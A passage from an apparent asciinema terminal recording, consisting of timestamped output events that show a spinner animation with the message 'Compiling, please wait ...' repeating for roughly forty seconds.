..."] +[34.581175, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[34.681719, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[34.782143, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[34.88255, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[34.982957, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[35.083382, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[35.183815, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[35.284217, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[35.384615, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[35.485015, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[35.585432, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[35.685846, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[35.786276, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[35.886653, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[35.987056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[36.087455, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[36.187854, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[36.288268, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[36.388651, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[36.489017, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[36.58937, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[36.689809, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[36.790236, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[36.890643, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[36.991048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[37.091435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[37.191873, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[37.292274, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[37.392668, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[37.493089, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[37.593508, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[37.693939, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[37.794338, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[37.894747, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[37.995182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[38.095547, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[38.19594, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[38.296325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[38.396722, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[38.497121, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[38.597475, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[38.697889, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[38.798141, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[38.898535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[38.998944, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[39.099317, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[39.199735, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[39.300148, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[39.400493, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[39.500894, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[39.601293, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[39.701696, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[39.802095, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[39.902516, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[40.003755, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[40.103282, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[40.203676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[40.303955, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[40.404958, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[40.505368, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[40.60649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[40.706993, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[40.807387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[40.907774, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[41.008168, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[41.108478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[41.208875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[41.309258, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[41.409677, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[41.510096, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[41.610489, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[41.710888, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[41.811325, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[41.911726, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[42.012131, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[42.112481, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[42.212875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[42.313276, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[42.413665, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[42.514066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[42.614391, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[42.714777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[42.815228, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[42.915651, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[43.016032, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[43.116466, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[43.216878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[43.317272, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[43.417667, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[43.518058, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[43.618461, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[43.71884, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[43.819261, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[43.919661, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[44.020085, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[44.120484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[44.220902, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[44.3213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[44.421728, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[44.522145, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[44.622526, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[44.722857, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[44.823297, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[44.923689, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[45.024077, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[45.124487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[45.224936, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[45.32532, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[45.425692, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[45.5261, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[45.626498, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[45.726911, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[45.827391, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[45.927805, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[46.028214, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[46.128635, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[46.229046, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[46.329463, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[46.429858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[46.53027, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[46.630681, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[46.731092, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[46.831522, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[46.931935, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[47.032295, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[47.132703, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[47.233096, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[47.333478, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[47.433872, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[47.534277, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[47.634696, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[47.734976, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[47.83539, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[47.935789, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[48.036167, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[48.136501, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[48.236881, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[48.338159, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[48.43858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[48.538986, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[48.639381, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[48.739785, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[48.840201, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[48.940598, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[49.040979, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[49.141383, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[49.241756, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[49.342167, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[49.44255, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[49.542965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[49.643411, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[49.743796, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[49.84423, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[49.944591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[50.045011, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[50.145406, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[50.245799, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[50.346164, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[50.446573, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[50.546962, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[50.647393, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[50.747797, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[50.848123, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[50.948495, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[51.048896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[51.149297, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[51.249661, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[51.350084, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[51.450496, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[51.550876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[51.651312, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[51.751699, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[51.852032, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[51.952418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[52.052739, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[52.153126, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[52.253524, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[52.353929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[52.454359, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[52.554761, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[52.655262, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[52.755573, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[52.855979, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[52.956372, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[53.05678, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[53.157173, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[53.257583, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[53.357968, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[53.458361, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[53.558745, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[53.659191, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[53.75952, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[53.859914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[53.960403, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[54.060775, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[54.161121, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[54.261532, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[54.361897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[54.462303, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[54.562716, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[54.663139, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[54.763504, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[54.863896, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[54.964285, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[55.064681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[55.165089, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[55.265494, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[55.365925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[55.466331, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[55.566731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[55.667182, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[55.767537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[55.867885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[55.968287, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[56.068673, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[56.169075, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[56.269472, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[56.369857, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[56.470284, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[56.570677, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[56.671106, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[56.771496, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[56.871914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[56.972284, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[57.072686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[57.173101, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[57.273483, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[57.373895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[57.474262, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[57.574665, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[57.675196, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[57.775552, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[57.875955, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[57.976382, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[58.076781, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[58.177187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[58.277562, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[58.377958, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[58.478346, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[58.578729, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[58.679195, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[58.779703, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[58.880107, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[58.980492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[59.08091, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[59.181308, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[59.281725, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[59.382131, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[59.482534, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[59.582941, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[59.683363, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[59.783768, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[59.884168, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[59.984492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[60.084869, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[60.185265, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[60.285676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[60.386062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[60.486465, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[60.586878, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[60.687248, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[60.787638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[60.888062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[60.988848, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[61.089144, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[61.189563, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[61.289966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[61.390352, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[61.490762, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[61.591224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[61.691578, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[61.79198, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[61.892385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[61.992773, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[62.093182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[62.193771, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[62.294179, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[62.394567, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[62.495003, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[62.595489, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[62.695865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[62.796274, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[62.896676, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[62.996946, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[63.097368, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[63.197753, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[63.298171, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[63.398576, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[63.498954, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[63.599398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[63.699798, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[63.800104, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[63.900722, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[64.001097, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[64.101507, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[64.201892, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[64.30221, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[64.402601, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[64.50301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[64.603386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[64.70372, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[64.804132, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[64.904475, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[65.004787, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[65.105189, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[65.205872, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[65.306125, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[65.406523, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[65.50694, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[65.60738, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[65.707757, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[65.808174, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[65.908508, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[66.008893, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[66.109256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[66.209656, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[66.310041, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[66.410445, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[66.510851, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[66.611254, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[66.711671, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[66.812075, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[66.912456, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[67.012852, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[67.113259, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[67.213677, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[67.314064, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[67.414464, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[67.514877, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[67.615287, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[67.7156, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[67.816035, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[67.916479, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[68.016867, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[68.117256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[68.217673, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[68.318074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[68.418458, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[68.518881, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[68.619309, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[68.719694, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[68.820101, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[68.920492, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[69.021909, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[69.122323, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[69.22276, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[69.323164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[69.423547, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[69.523865, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[69.624295, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[69.724699, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[69.825103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[69.925515, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[70.025957, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[70.126349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[70.226959, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[70.327365, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[70.427754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[70.528121, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[70.628494, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[70.728901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[70.829304, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[70.929709, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[71.030115, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[71.13052, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[71.230937, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[71.331377, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[71.431787, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[71.532172, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[71.632484, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[71.732865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[71.833282, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[71.933713, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[72.034101, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[72.134481, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[72.234968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[72.335385, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[72.435802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[72.536205, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[72.636621, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[72.737031, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[72.837414, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[72.937811, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[73.038208, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[73.138645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[73.239036, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[73.339413, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[73.439815, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[73.540193, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[73.640579, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[73.740986, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[73.841425, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[73.941805, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[74.042193, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[74.14405, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[74.244436, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[74.344812, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[74.445225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[74.545622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[74.646031, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[74.74642, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[74.846823, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[74.947239, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[75.047631, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[75.148039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[75.248461, "o", 